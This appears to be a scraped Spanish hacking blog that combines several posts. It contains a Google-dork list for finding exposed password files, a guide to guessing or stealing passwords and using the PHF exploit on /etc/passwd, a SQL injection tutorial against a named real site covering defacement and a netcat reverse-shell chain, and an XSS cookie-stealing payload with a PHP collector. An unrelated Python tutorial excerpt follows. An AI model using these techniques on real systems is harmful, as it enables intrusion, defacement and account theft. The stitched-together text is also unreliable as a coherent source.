Index of ftp +.mdb allinurl:/cgi-bin/ +mailto
allintitle: “index of/admin”
allintitle: “index of/root”
allintitle: sensitive filetype:doc
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov
administrator.pwd.index
authors.pwd.index
service.pwd.index
filetype:config web
gobal.asax index
inurl:passwd filetype:txt
inurl:admin filetype:db
inurl:iisadmin
inurl:”auth_user_file.txt”
inurl:”wwwroot/*.”
allinurl: winnt/system32/ (get cmd.exe)
allinurl:/bash_history
intitle:”Index of” .sh_history
intitle:”Index of” .bash_history
intitle:”Index of” passwd
intitle:”Index of” people.1st
intitle:”Index of” pwd.db
intitle:”Index of” etc/shadow
intitle:”Index of” spwd
intitle:”Index of” master.passwd
intitle:”Index of” htpasswd
intitle:”Index of” members OR accounts
intitle:”Index of” user_carts OR user _cart

_vti_inf.html
service.pwd
users.pwd
authors.pwd
administrators.pwd
test-cgi
wwwboard.pl
www-sql
pwd.dat
ws_ftp.log
http://usuarios.lycos.es/unsafebytes/hackingfreestyle/hackearcongoogle.htm

Revelar datos con Google no parece nada complicado, especialmente para todos
los sistemas mal configurados… una b?squeda espec?fica permite mostrar
directorios poniendo en un ?ndice y accediendo, la contrase?a, los archivos,
los caminos, etc, etc…

Las Puntas de la b?squeda

las entradas de la b?squeda com?nes debajo de le dar? una idea… por
ejemplo si usted quiere buscar el un ?ndice de “root”

En la caja de la busqueda puesta exactamente en como usted v?alo debajo
source jhonyyhackstuff.com
Ejemplo 1:

allintitle: “index of/root”

Resultad:

http://www.google.com/search?hl=en&ie=ISO-8859-1&q=allintitle%3A+%22index+of
%2Froot%22&btnG=Google+Search

lo que revela es 2,510 p?ginas que usted puede ver y posiblemente se
encuentre su testamento…

Ejemplo 2:

inurl:”auth_user_file.txt”

http://www.google.com/search?num=100&hl=en&lr=&ie=ISO-8859-1&q=inurl%3A%22au
th_user_file.txt%22&btnG=Google+Search

Este da un resultado de 414 posibles archivos para acceder

INVESTIGUE LOS CAMINOS…….

*************************************

“Index of /admin”
“Index of /password”
“Index of /mail”
“Index of /” +passwd
“Index of /” +password.txt
“Index of /” +.htaccess
index of ftp +.mdb allinurl:/cgi-bin/ +mailto

administrators.pwd.index
authors.pwd.index
service.pwd.index
filetype:config web
gobal.asax index

allintitle: “index of/admin”
allintitle: “index of/root”
allintitle: sensitive filetype:doc
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov

inurl:passwd filetype:txt
inurl:admin filetype:db
inurl:iisadmin
inurl:”auth_user_file.txt”
inurl:”wwwroot/*.”

top secret site:mil
confidential site:mil

allinurl: winnt/system32/ (get cmd.exe)
allinurl:/bash_history

intitle:”Index of” .sh_history
intitle:”Index of” .bash_history
intitle:”index of” passwd
intitle:”index of” people.lst
intitle:”index of” pwd.db
intitle:”index of” etc/shadow
intitle:”index of” spwd
intitle:”index of” master.passwd
intitle:”index of” htpasswd
intitle:”index of” members OR accounts
intitle:”index of” user_carts OR user_cart

ALTERNATIVE INPUTS====================

_vti_inf.html
service.pwd
users.pwd
authors.pwd
administrators.pwd
shtml.dll
shtml.exe
fpcount.exe
default.asp
showcode.asp
sendmail.cfm
getFile.cfm
imagemap.exe

Autor: Carlos Mesa





Como hackear una web

2 11 2007
Anuncios anuncios pisos madrid contactar contactos

ATENCIÓN: Esta información la proporciono sólo con fines educativos, así que no me hago responsable del los daños que se
pudieran ocasionar.
Hackear Paginas WEB:

* Introducción
* Diferencias en los tipos de WEB
* Obteniendo Passwords en el tipo A.
* Obteniendo Passwords en el tipo B.
* Precauciones.
* Sobre el autor

1º INTRODUCIÓN

El objetivo de este documento es el dar a conocer posibles formas de alteración del contenido de una página WEB por personal no autorizado a ello ( llamémoslo hacking ;) ).
No me hago responsable del uso que se pueda hacer de este documento, pues su única finalidad es la de informar, y el que lo use para otra cosa… lo hace bajo SU entera responsabilidad… ¿ Queda claro ?, si no te parece bien deja de leer y borra el fichero de tu HD ( disco duro para los muy novatos…).

Las cosas que se describen en este fichero no te aseguran éxito seguro, probablemente en la mayoría de los casos solo te sirvan para empezar, teniendo que improvisar tu, pero prometo que este doc. será mejor que los que he visto sobre el tema en Internet.

El nivel de este documento es básico, pues no intenta enseñar todo en un dia, mas que nada saber como empezar a hacer algo digamos “util”.

Nota: A pesar de que podras hacer todo lo que aquí pone desde Windows 95 o 98, te recomiendo que pruebes algun Linux (aunque sea el Trinux, que cabe en 3 disketes x´PPP (www.trinux.org)). Este documento esta escrito en WORD pk lo tiene todo cristo ( jeje casi todos ilegal para que se joda Microsoft (con perdon)).

2º DIFERENCIAS ENTRE TIPOS DE WEBs

Creo que para que nos entendamos mejor, es importante distinguir entre dos clases de WEBs, las webs personales, que pueden ser modificadas por el usuario propietario mediante su clave (tipo Geocities, Xoom y los proveedores de acceso a Inet que ofrecen espacio WEB).
El segundo tipo, serian aquellas WEBs, llamemoslas “principales” de un servidor, que solo pueden ser modificadas por usuarios con muy altos privilegios (llamemosles “root” o “administrador”).
Pues que bien ¿no?, y esta diferenciación tan chorra… ¿para que vale?… pues la utilizaremos para diferenciar las formas de hacernos con los passwords que nos dejan modificarlas… evidentemente no es igual de facil conseguir ser root en un server que tener una cuenta de usuario… asi que para esto es la diferenciación.

3º OBTENIENDO PASSWORDS DE TIPO A (USUARIO):

Estos passwords de usuarios, generalmente no muy cualificados, se caracterizan por ser muy chorras, osea faciles de recordar, repetidos con los passwords de otras cosas… asi que si la persona propietaria de las WEB es alguien cercano a ti, puedes empezar provando algunas palabras que te puedan parecer “interesantes” ( nombre del perro, mujer, hijos, fecha de nacimiento, lugar de residencia…), pero tampoco te mates mucho provando pues esto es perder el tiempo muchas veces, asi que si a los 10 o 11 intentos ( según tu paciencia ) no sale nada, mejor dejes esta forma ;)
Pero también seria una buena idea intentar sacar el password a la “victima” a traves de engaños y demas ( lo llaman ingenieria social…), por ejemplo puedes ligarte al tio/a y conseguir que te diga su pass… o tambien puedes intentar meterle un troyano tipo BO o NETBUS, que te permitiran sacarle las pass, evidentemente no voy a contar aquí lo que le tienes que decir a la victima para que te crea… eso tendras que currelarlo tu un pokito

Ademas, si conseguimos el fichero de passwords del servidor… ¡¡Estamos de suerte!! Pues generalmente los passwords de usuario son bastante fáciles de crackear… solo elige el usuario y pon el john the ripper a trabajar ( el john es uno de los programas de cracking de ficheros PASSWD de UNIX mas conocidos, puedes conseguirlo en www.geocities.com/SiliconValley/Peaks/7837 , si no sabes usarlo… DON´T WORRY, trae ayuda…).
Pero probablemente el problema no sea el uso del John, sino el conseguir el fichero PASSWD, asi que para eso vamos al siguiente apartado de este cursillo.

3º OBTENIENDO PASSWORDS DE TIPO B (root):

Normalmente los administradores de los servidores no se chupan el dedo, asi que conseguir el fichero o el root directamente a traves de un exploit ( programa que se aprovecha de un BUG o agujero en el sistema operativo) no sea una tarea facil.

Lo primero que puedes intentar es pillar el passwd por el FTP… y cuando eso no te haya funcionado probar el PHF ( escribir la siguiente linea en tu navegador: http://www.host.com/cgi-bin/phf?Qalias=%0a/bin/cat%20/etc/passwd , donde host.com es el nombre del servidor…), si el phf funcionase ( en estos tiempos ya suele estar parcheado en casi todos los servidores, asi que si no te sirve no te deprimas), tendrias en tu pantalla el fichero passwd, pero antes de alegrarte fijate en algo, si aparece:

root:*:0:0:Charlie &:/root:/bin/csh

( un asterisco (*) detrás del nombre “root” y los dos puntos, también puede aparecer una equis (x)…), querra decir que el fichero esta shadow osea que aparte del PASSWD necesitas otro archivo… el SHADOW, puedes intentar sacarlo con PHF cambiando la palabra passwd del final de la linea del PHF por la palabra shadow ( para ser un poco mas explicito puedes jugar con el phf, cambiando de directorio… supongo que te estaras dando cuenta de cómo y si no, hay va una pista… “etc” es el nombre de un directorio ).

Buiino, si lo anterior no ha funcionado, no te preocupes, aún tenemos mas bazas que jugar.
Si por cualquier casualidad de la vida posees una cuenta de usuario en el servidor, puedes intentar hacerte con el passwd ( y con el shadow si hace falta) a traves de telnet ( prueba con cat o more , para ver si Dios es tu amigo y puedes editar los archivos…) o, puedes enterarte del Sistema operativo que usa el server, version … (enterate también de la version del STMP, FTP …) y vete a buscar exploits ( ya explique antes lo que son exploits…).
Una vez que lo/s tengas pues… los pruebas!!! ¿Sino para que coño los has cojido?… para provarlos, primero tendras que compilarlos ( ojo, hay sploits que no hay que compilar, pues simplemente consisten en teclear unos comandos o algo asi… jeje si tienes algo de esperiencia seguro que recuerdas algunos viejos compañeros ;) ).
Un buen sitio para pillar exploits es: http://www.rootshell.com/

¿ Y donde los compilo ?, pues o el propio server ( con gcc ) o en otro con el mismo SO, ojo no puedes compilar exploits para un SUN en un linux Red Hat … una vez que lo tengas compilado lo ejecutas… y a ¡jugar!

Despues de todo esto, y otro poco por tu parte seguramente ya tengas root en algun pequeño server para provar… (recuerda si no tienes mucha soltura… empieza por china o por alli lejotes… que si te pillan no se meteran mucho contigo ¿verdad?).

4º PRECAUCIONES

Pues eso… procura no usar cuentas verdaderas para conectar ( aunque piensa que si dejas huellas… los marrones seran pal dueño de la cuenta, y eso no esta bien…, asi que cuidado con las cuentas de internet robadas, solo usar las que sepais que el dueño es un verdadero hijoputa o algo asi… o mejor si usas servidores “intermedios” o borras las huellas con algun zapper ( si lo usas sastamente como un exploit)… ahh, si te kurrelas un root y tal, pues deja algun sniffer y eso para recoger la cosecha… ( mas ke na no desperdiciar kurro ya hecho).





Como hackear 6 (sql injection y defaces)

1 11 2007
Anuncios anuncios pisos madrid contactar contactos

Bien, hacia tiempo que no sacaba una nueva entrega del curso…siento el retraso..

ia sabeis k a mi los problemas personales me llueven…pero sobrevivo…en fin

se meh a ocurrido que seria interesante explicar una tecnica que muchos creen que no sirve de muchos mas que hackear foros phpbb, i con la cual, ya he sacado shell en sistemas, defaceado webs tan importantes como la del govierno de mi pais etc…

sql injection, pero k es?

vereis, voi a tratar de explicar en que consisten los sql injection…durante el manual me voi a referir a paginas en asp con una base de datos MSSQL.

los sql injection son un bug que permite que un usuario malintencionado (nosotros) realize consultas a la base de datos de la pagina vulnerable.

el problema reside en k muchos MSSQL corren con permisos de sistema (la famosa cuenta SA de MSSQL tiene permisos de sistema y es la cuenta por defecto, suena bien no?)

asi que veamos…como saber si una web es vulnerable a sql injection?

bueno, no suelo hacer los ejemplos con paginas reales, pero esta vez voi a hacer una excepcion i asi entendereis mejor la tecnica, si cuando leais el articulo ia no es vulnerable, buscad paginas parecidas.

http://www.compolaser.com/

hace unos dias entre a esta web, i me dije: voi a hacer algo aki…
el problema era k no parecia muy vulnerable, cuakiera hubiese sacado su nmap o su nessus i se hubiese puesto a escanear, sin embargo se me ocurrio algo distinto…
por k no pruebo con webhack? (hackeo a la web i no al server, por ejemplo el cross site scripting, k lo vimos en la entrega anterior)

asi k vi k havia una seccion noticias…i k recivia un dato a traves de la url…

http://www.compolaser.com/Noticias.asp?Id=54

donde 54 es el numero de la noticia…una vez vi esto ia me di cuenta que seguro k esta web tenia una base de datos i k usaba IIS i seguramente mssql, asi k probé:

http://www.compolaser.com/Noticias.asp?Id=’

i sucedio lo siguiente:
QUOTE
Microsoft OLE DB Provider for SQL Server error ‘80040e14′

Comilla no cerrada antes de la cadena de caracteres ‘ ORDER BY fecha DESC;’.

/Noticias.asp, line 24

wou! tenemos un sql injection en esta pagina…pero como lo se?

vereis, la pagina lo que ha echo es:

Select * from Noticias where id = ID ORDER BY fecha DESC

seria algo parecido a esto, ID representa el numerito que le pasamos por la url

(en sql el caracter ‘ delimita el principio o el final de una cadena)

cuando nosotros hicimos:

http://www.compolaser.com/Noticias.asp?Id=’

la sentencia final kedo asi:

Select * from Noticias where id = ‘ ORDER BY fecha DESC

aki falla algo verdad? SIEMPRE k se habre una comilla hay k cerrarla, de ahi el error que dice que no cerramos la comilla…

bueno…esto nos lleva a pensar…ostia, podemos modificar la sentencia? entonces podemos alterar la base de datos no? la respuesta es si.

veamos…lo primero que deberiamos hacer es averiguar como se estructura la base de datos, es decir:

como se llama la tabla que contiene informacion de las noticias?

y que registros tiene?

bien, solo se trata de hacer las preguntas correctas:

http://www.compolaser.com/Noticias.asp?Id=…0having%201=1–

esto provocara un error en mssql que nos desvelara que la tabla se llama:

Noticias

y que el primer registro es: id

QUOTE
Microsoft OLE DB Provider for SQL Server error ‘80040e14′

La columna ‘noticias.Id’ de la lista de selección no es válida, porque no está contenida en una función de agregado y no hay cláusula GROUP BY.

/Noticias.asp, line 24

interesante…si kereis saber por k ocurre esto, buscad lo k hace el comando having wink.gif

el “–” al final lo ponemos para k piense k lo k sigue es un comentario en el codigo (igual k en C los comentarios son: //)

seguimos desvelando:

http://www.compolaser.com/Noticias.asp?Id=…0having%201=1–

hemos echo:

group by Noticias.id having 1=1–

por k Noticias.id? por k es el primer registro…

seguimos averiguando:

http://www.compolaser.com/Noticias.asp?Id=…0having%201=1–

bueno, parece que aki nos dan toda la informaicon que queremos, hay un segundo registro llamado:

noticias.Resumen

QUOTE
Microsoft OLE DB Provider for SQL Server error ‘80040e14′

La columna ‘noticias.Resumen’ de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.

/Noticias.asp, line 24

podriamos ir sacando mas i mas registros asi:

group by noticias.id, noticias.titulo having 1=1–

i asi, añadiendo con comas lo k nos va diciendo, llegariamos al final…pero de momento nos conformamos con modificar el titulo, pero como modificamos Noticias.titulo?

bueno pues hay un comando en sql llamado update que modifica el contenido de un registro de una tabla, se usa asi:

update tabla set registro=’nuevo valor’

pues bien, es facil saber que hacer ahora:

update noticias set titulo = ‘hackeados por jocanor’

i como hay k hacer k el resto sea un comentario:

update noticias set titulo = ‘hackeados por jocanor’–

asi k la sentencia final seria:

http://www.compolaser.com/Noticias.asp?Id=…0jocanor’–

y tachan tachan! si entrais a:

http://www.compolaser.com/Noticias.asp

vereis k todos los registros noticias.titulo han sido defaceados xD

como sacar shell con sql injection?

esto es una tecnica avanzada i k no funciona siempre, pero puede funcionar…

vereis, mssql tiene unos scripts para ejecutar cosas etc…asi k jugaremos con uno de esos scripts, para ejecutar cualkier comando de ms-dos:

; exec master..xp_cmdshell ‘ping 10.10.1.2′–

esto haria un ping a 10.10.1.2.

asi k sacar shell es tan facil como poner en nuestra makina (supongamos k nuestra makina es 1.2.3.4) un servidor tftp con un archivo llamado nc.exe (un netcat)

hacemos:

exec master..xp_cmdshell ‘tftp -i 1.2.3.4 get nc.exe C:nc.exe’–

exec master..xp_cmdshell ‘c:nc.exe –l –p 8000 –e cmd.exe’ –-

ahora abrimos telnet a la makian victima en el puerto 8000 y tenemos una shell biggrin.gif

bueno, este articulo era de nivel avanzado, lo siento por los muy newbies, pero la gente con nivel medio me pedia k pusiera algo interesante i de nivel, la proxima entrega sera para los principiantes, lo prometo.





Como hackear 5 (Cross site scripting)

1 11 2007
Anuncios anuncios pisos madrid contactar contactos

bueno empezemos el juego, mucha gente conoce los cross site scripting….

hace un buen dia, el sol ha salido, un joven español se levanta por la mañana (o mejicano, kien sabe) abre su Konqueror o Mozilla firefox (o internet explorer de microsoft si no le preocupa su seguridad i utiliza windows, cosa respetable) i entra a

www.securityfocus.com/archive/1

para ver k bugs salieron hoy, va revisando posts i lee:

XSS in phpbb all version

por poner un ejemplo, XSS es la abreviatura de cross site scripting, i phpbb un sistema de foros basado en php + mysql, esto era solo un ejemplo, k conste, XSS hay en muchos productos.

el joven k lleva unos meses en el hacking i aun no sabe mucho, ni si kiera lo habre pensando: va, un xss para k lo kiero? si lo maximo k se puede hacer es alert(documment.cookie) o ni si kiera sabe eso…

acaba de perder la oportunidad de su vida!

bueno sin exagerar, lo k el joven no sabe es k con eso podria haver hackeado, si si, defaceado un phpbb, solo con un tan injustamente llamado XSS, pero k es un XSS…veamoslo

los navegadores convencionales tienen la capacidad de ejecutar codigo javascript, k es un codigo k se ejecuta en el navegador cuando la pagina es visualizada, no se ejecuta en el servidor como lo haria php, sino k el codigo javascript se ejecuta en el navegador de kien visita la web, i sirve para millones de cosas, ventanitas de alerta, i miles de cosas mas.

imaginemos lo siguiente, una pagina la cual tiene un sitio k pone ultimos usuarios registrados:

i sale una lista como podria ser esta:

-jocanor
-ramgo
-edy
-paranoik
-spushan
-DragoN

bueno, una mente muy retorcida como la mia podria decir…bien k me impide a mi registrarme con el nombre:

*script* al3rt(’hacked by jocanor’) */script*

i cuando aparezca la lista de ultimos usuarios registrados i intente visualizar *script* al3rt(’hacked by jocanor’) *script*, el navegador vera k es javascript i lo ejecutara en lugar de visualizarlo, con lo cual a cualkiera k entre le aparecera una caja de mensaje en la k pondra:

hacked by jocanor

vaia, si parece k seamos hackers i todos, i solo hemos registrado un usuario

sigamos con un ejemplo mas practico…

muchas paginas, son conscientes de esto, i filtran el contenido de lo k introducimos i no podemos hacerlo, pero muchas otras no lo hacen, imaginemos un tagboard muy sencillito k no lo filtre, posteamos en el tagboard:

*script* al3rt(’hacked by jocanor’) */script*

i todo el k entre le saltara el mensaje, esto se lo hice a juanillo_killo en su web (usuario de estos foros) me rei mucho xD

continuamos con atakes mas potentes usando XSS

imaginemos k nos dicen k existe un error de XSS en una variable de un foro k todo el k entre en la direccion especialmente construida:

www.hackeame.com/index.php?usuario=foo&sotby=name&sesion=*script* al3rt(’hacked by jocanor’) */script*

le aparece una cajita de mensaje, diriamos: i de k sirve, cuando alguien entre a la web no vera nada, solo vera el cartel el k entre a la web especialmente construdia, no sirve para nada…grave error pensar eso…

por k…kien dice k lo unico ha hacer es ejecutar mensajitos?

tmb podemos robar cookies!!!!!!

vereis, solo tiene acceso a la cookie la web k la creo, pero si estamos diciendo k nosotros podemos ejecutar codigo javascript construiendo direcciones espcialmente diseñadas para ello, el navegador ve k la web es la k creo la cookie i nos deja verla…ejemplifikemos esto k se k asusta un poco:

nos conectamos al msn, estamos hablando con algunas amigas (lo se, siempre pensando en chicas xD)
i se conecta un amigo newbie, nos dice k en una pagina porno k rekiere autentificacion para descargar videos i k hay k pagar tiene un bug de xss k seria asi:

www.pagina.com/index.php?video=codigojavascriptaki

i se ejecutaria, me direis como robo io los videos?

pues bien lo k haremos sera robar la cookie de un usuario…ponerla en nuestro navegador i nada mas entrar estaremos logueados susponiendo k el usuario tuviese activado recordar contraseña xD

nos creamos una pagina en cualkier hosting gratuito i alli hospedamos un archivo llamado cookies.php

con el siguiente codigo:

*?
$cookie = $_GET[’cookie’];
$fff = fopen(”archivo.txt”,”a”);
fwrite($fff, “$cookie n”);
fclose($fff);
?*

ahora construmos la url asi:

www.pagina.com/index.php (sigue abajo)
?video=*script*window.location=’http://www.hacker.com/cookies.php?cookie=’+document.cookie;*/script*

i hacemos k algun usuario de la pagina porno entre al enlace hablando con el, mandandole un mail etc, automaticamente tendremos su cookie en archivo.txt

la recogemos, ponemos lo k hay dentro en una cookie para pagina.com i la metemos en la carpeta de cookies de nuestro navegador i entramos, automaticamente seremos el user al k le robamos la cookie.

atencion: este atake es MUY complejo de llevar a la practica, si no lo has comprendido o no t ves capaz, no t preocupes

si lo has comprendido del todo i crees k puedes hacerlo, entonces puedes ir pensando k tienes posiblidades en el hacking…

saludos i suerte





Introduccion informal a Python

30 10 2007
Anuncios anuncios pisos madrid contactar contactos

En los siguientes ejemplos, la entrada y la salida se distinguen por la presencia o ausencia de indicadores (”>>> ” y “… “). Para repetir el ejemplo debe teclear todo lo que sigue al indicador, cuando aparezca el indicador. Las líneas que no empiezan por un indicador son la salida del intérprete. Observa que un indicador secundario solo en una línea indica que debe teclear una línea en blanco. Esto se utiliza para finalizar una orden multi-línea.

Muchos de los ejemplos de este manual, incluidos los que se escriben interactivamente, incluyen comentarios. Los comentarios en Python empiezan por el carácter almohadilla, “#”, y se extienden hasta el final de la línea física. Se puede iniciar un comentario al principio de una línea o tras espacio en blanco o código, pero no dentro de una constante literal. Una almohadilla dentro de una cadena es, simplemente, una almohadilla.

Ejemplos:

# éste es el primer comentario
fiambre = 1 # y éste
# … ¡y un tercero!
cadena = “# Esto no es un comentario.”

3.1 Python como calculadora

Vamos a probar algunas órdenes simples de Python. Arranca el intérprete y espera a que aparezca el indicador principal, “>>>” (no debería tardar mucho).

3.1.1 Números

El intérprete funciona como una simple calculadora: Tú tecleas una expresión y él muestra el resultado. La sintaxis de las expresiones es bastante intuitiva: Los operadores +, -, * y / funcionan como en otros lenguajes (p. ej. Pascal o C). Se puede usar paréntesis para agrupar operaciones. Por ejemplo:

>>> 2+2
4
>>> # Esto es un comentario
… 2+2
4
>>> 2+2 # un comentario junto al código
4
>>> (50-5*6)/4
5
>>> # La división entera redondea hacia abajo:
… 7/3
2
>>> 7/-3
-3

Al igual que en C, se usa el signo de igualdad “=” para asignar un valor a una variable. El valor de una asignación no se escribe:

>>> ancho = 20
>>> alto = 5*9
>>> ancho * alto
900

Se puede asignar un valor simultáneamente a varias variables:

>>> x = y = z = 0 # Poner a cero ‘x’, ‘y’ y ‘z’
>>> x
0
>>> y
0
>>> z
0

La coma flotante funciona de la manera esperada. Los operadores con tipos mixtos convierten el operando entero a coma flotante:

>>> 4 * 2.5 / 3.3
3.0303030303
>>> 7.0 / 2
3.5

También funcionan de la manera esperada los números complejos: Los números imaginarios se escriben con el sufijo “j” o “J”. Los números complejos con una parte real distinta de cero se escriben “(real+imagj)”, y se pueden crear con la función “complex(real, imag)”.

>>> 1j * 1J
(-1+0j)
>>> 1j * complex(0,1)
(-1+0j)
>>> 3+1j*3
(3+3j)
>>> (3+1j)*3
(9+3j)
>>> (1+2j)/(1+1j)
(1.5+0.5j)

Los números complejos siempre se representan como dos números de coma flotante, la parte real y la imaginaria. Para extraer una de las partes de un número complejo z, usa z.real y z.imag.

>>> a=1.5+0.5j
>>> a.real
1.5
>>> a.imag
0.5

Las funciones de conversión a coma flotante y a entero (float(), int() y long()) no funcionan con números complejos, pues no hay un modo único y correcto de convertir un complejo a real. Usa abs(z) para sacar su módulo (como flotante) o z.real para sacar su parte real.

>>> a=1.5+0.5j
>>> float(a)
Traceback (innermost last):
File “”, line 1, in ?
TypeError: can’t convert complex to float; use e.g. abs(z)
>>> a.real
1.5
>>> abs(a)
1.58113883008

En modo interactivo, la última expresión impresa se asigna a la variable _. Esto significa que, cuando se usa Python como calculadora, se facilita continuar los cálculos, por ejemplo:

>>> iva = 17.5 / 100
>>> precio = 3.50
>>> precio * iva
0.61249999999999993
>>> precio + _
4.1124999999999998
>>> round(_, 2)
4.1100000000000003

Sólo debe leer esta variable. No le asignes un valor explícitamente, ya que crearías una variable local del mismo nombre y enmascararías la variable interna que proporciona la funcionalidad especial.

3.1.2 Cadenas

Además de los números, Python también sabe manipular cadenas, que se pueden expresar de diversas maneras. Se pueden encerrar entre comillas simples o dobles:

>>> ‘fiambre huevos’
‘fiambre huevos’
>>> ‘L\’Hospitalet’
“L’Hospitalet”
>>> “L’Hospitalet”
“L’Hospitalet”
>>> ‘”Sí,” dijo.’
‘”Sí,” dijo.’
>>> “\”Sí,\” dijo.”
‘”Sí,” dijo.’
>>> ‘”En L\’Hospitalet,” dijo.’
‘”En L\’Hospitalet,” dijo.’

Las cadenas pueden ocupar varias líneas de diferentes maneras. Se puede impedir que el final de línea física se interprete como final de línea lógica mediante usando una barra invertida, por ejemplo:

hola = “Esto es un texto bastante largo que contiene\n\
varias líneas de texto, como si fuera C.\n\
Observa que el espacio en blanco al principio de la línea es\
significativo.\n”
print hola

mostraría lo siguiente:

Esto es un texto bastante largo que contiene
varias líneas de texto, como si fuera C.
Observa que el espacio en blanco al principio de la línea es significativo.

O se pueden encerrar las cadenas entre comillas triples emparejadas: “”" o ”’. No es necesario poner barra invertida en los avances de línea cuando se utilizan comillas triples; serán incluidos en la cadena.

print “”"
Uso: cosilla [OPCIONES]
-h Mostrar este mensaje de uso
-H NombreServidor Nombre del servidor al que conectarse
“”"

presenta:

Uso: cosilla [OPCIONES]
-h Mostrar este mensaje de uso
-H NombreServidor Nombre del servidor al que conectarse

El intérprete muestra los resultados de las operaciones con cadenas como se escriben a la entrada: Entre comillas y con las comillas y otros caracteres raros escapados por barras invertidas, para mostrar el valor exacto. La cadena se encierra entre comillas dobles si contiene una comilla simple y no contiene comillas dobles, si no, se encierra entre comillas simples (se puede utilizar print para escribir cadenas sin comillas ni secuencias de escape).

Se puede concatenar cadenas (pegarlas) con el operador + y repetirlas con *:

>>> palabra = ‘Ayuda’ + ‘Z’
>>> palabra
‘AyudaZ’
>>> ”

Dos literales juntos se concatenan automáticamente. La primera línea de arriba se podría haber escrito “palabra = ‘Ayuda’ ‘Z’”. Esto sólo funciona con literales, no con expresiones de cadena arbitrarias.

>>> import string
>>> ‘cad’ ‘ena’ # >> string.strip(’cad’) + ‘ena’ # >> string.strip(’cad’) ‘ena’ # <- Esto no vale
File “”, line 1
string.strip(’cad’) ‘ena’
^
SyntaxError: invalid syntax

Se puede indexar una cadena. Como en C, el primer carácter de una cadena tiene el índice 0. No hay un tipo carácter diferente; un carácter es una cadena de longitud uno. Como en Icon, las subcadenas se especifican mediante la notación de corte: dos índices separados por dos puntos.

>>> palabra[4]
‘a’
>>> palabra[0:2]
‘Ay’
>>> palabra[2:4]
‘ud’

A diferencia de las cadenas en C, las cadenas de Python no se pueden cambiar. Si se intenta asignar a una posicion indexada dentro de la cadena se produce un error:

>>> palabra[0] = ‘x’
Traceback (innermost last):
File “”, line 1, in ?
TypeError: object doesn’t support item assignment
>>> palabra[:-1] = ‘Choof’
Traceback (innermost last):
File “”, line 1, in ?
TypeError: object doesn’t support slice assignment

Sin embargo crear una nueva cadena con el contenido combinado es fácil y eficaz:

>>> ‘x’ + palabra[1:]
‘xyudaZ’
>>> ‘Choof’ + word[-1:]
‘ChoofZ’

Los índices de corte tienen valores por omisión muy prácticos; si se omite el primer índice se supone cero y si se omite el segundo se supone el tamaño de la cadena sometida al corte.

>>> palabra[:2] # Los primeros dos caracteres
‘Ay’
>>> palabra[2:] # Todos menos los primeros dos caracteres
‘daZ’

He aquí un comportamiento útil en las operaciones de corte: s[:i] + s[i:] equivale a s.

>>> palabra[:2] + palabra[2:]
‘AyudaZ’
>>> palabra[:3] + palabra[3:]
‘AyudaZ’

Los índices degenerados se tratan con elegancia: un índice demasiado grande se reemplaza por el tamaño de la cadena, un índice superior menor que el inferior devuelve una cadena vacía.

>>> palabra[1:100]
‘yudaZ’
>>> palabra[10:]

>>> palabra[2:1]

Los índices pueden ser negativos, para hacer que la cuenta comience por el final. Por ejemplo:

>>> palabra[-1] # El último carácter
‘Z’
>>> palabra[-2] # El penúltimo carácter
‘a’
>>> palabra[-2:] # Los dos últimos caracteres
‘aZ’
>>> palabra[:-2] # Todos menos los dos últimos
‘Ayud’

Pero date cuenta de que -0 es 0, así que ¡no cuenta desde el final!

>>> palabra[-0] # (porque -0 es igual a 0)
‘A’

Los índices de corte negativos fuera de rango se truncan, pero no ocurre así con los índices simples (los que no son de corte):

>>> palabra[-100:]
‘AyudaZ’
>>> palabra[-10] # error
Traceback (innermost last):
File “”, line 1
IndexError: string index out of range

El mejor modo de recordar cómo funcionan los índices es pensar que apuntan al espacio entre los caracteres, estando el borde izquierdo del primer carácter numerado 0. El borde derecho del último carácter de una cadena de n caracteres tiene el índice n, por ejemplo:

+—+—+—+—+—+—+
| A | y | u | d | a | Z |
+—+—+—+—+—+—+
0 1 2 3 4 5 6
-6 -5 -4 -3 -2 -1

La primera fila de números da la posición de los índices 0..5 de la cadena; la segunda da los índices negativos correspondientes. El corte desde i hasta j consta de todos los caracteres entre los bordes etiquetados i y j, respectivamente.

Para los índices no negativos, la longitud del corte es la diferencia entre los índices, si los dos están entre límites. Por ejemplo, la longitud de palabra[1:3] es 2.

La función interna len() devuelve la longitud de una cadena:

>>> s = ’supercalifragilisticoexpialidoso’
>>> len(s)
32

3.1.3 Cadenas Unicode

A partir de Python 2.0, el programador dispone de un nuevo tipo de datos para almacenar datos de texto: el objeto Unicode. Se puede usar para almacenar y manipular datos Unicode (consulte http://www.unicode.org) y se integra bien con los objetos de cadena existentes, proporcionando conversiones automáticas si se da el caso.

La codificación Unicode tiene la ventaja de proporcionar un ordinal para cada sistema de escritura utilizado en textos antiguos y modernos. Anteriormente, había sólo 256 ordinales para los caracteres escritos y se solía asociar los textos a una página de códigos, que hacía corresponder los ordinales con los caracteres escritos. Esto llevaba a una gran confusión, especialmente en lo relativo a la internacionalización (comúnmente escrito “i18n” — “i” + 18 characters + “n”) del software. Unicode resuelve estos problemas definiendo una página de códigos única para todos los sistemas de escritura.

Crear cadenas Unicode en Python es tan simple como crear cadenas normales:

>>> u’Muy buenas’
u’Muy buenas’

La “u” minúscula frente a la comilla indica que se ha de crear una cadena Unicode. Si deseas incluir caracteres especiales dentro de la cadena, lo puedes hacer mediante la codificación Unicode-Escape de Python. El siguiente ejemplo muestra cómo:

>>> u’Muy\\u0020buenas’
u’Muy buenas’

La secuencia de escape
u0020 indica que se ha de insertar el carácter Unicode con ordinal hexadecimal 0×0020 (el espacio) en la posición indicada.

El resto de los caracteres se interpretan utilizando sus ordinales respectivos directamente como ordinales Unicode. Como ocurre que los primeros 256 ordinales de Unicode coinciden con la codificación estándar Latin-1 utilizada en muchos países occidentales3.1, el proceso de introducir Unicode se ve muy simplificado.

Para los expertos, existe también un modo en bruto, como para las cadenas normales. Se debe preceder la cadena con una “r” minúscula para que Python utilice la codificación En bruto-Unicode-Escape. Sólo aplicará la conversión citada
uXXXX si hay un número impar de barras invertidas frente a la “u”.

>>> ur’Muy\u0020buenas’
u’Muy buenas’
>>> ur’Muy\\u0020buenas’
u’Muy\\\\u0020buenas’

El modo en bruto es útil cuando hay que meter gran cantidad de barras invertidas, como en las expresiones regulares.

Además de estas codificaciones estándar, Python proporciona un conjunto completo de modos de crear cadenas Unicode basándose en una codificación conocida.

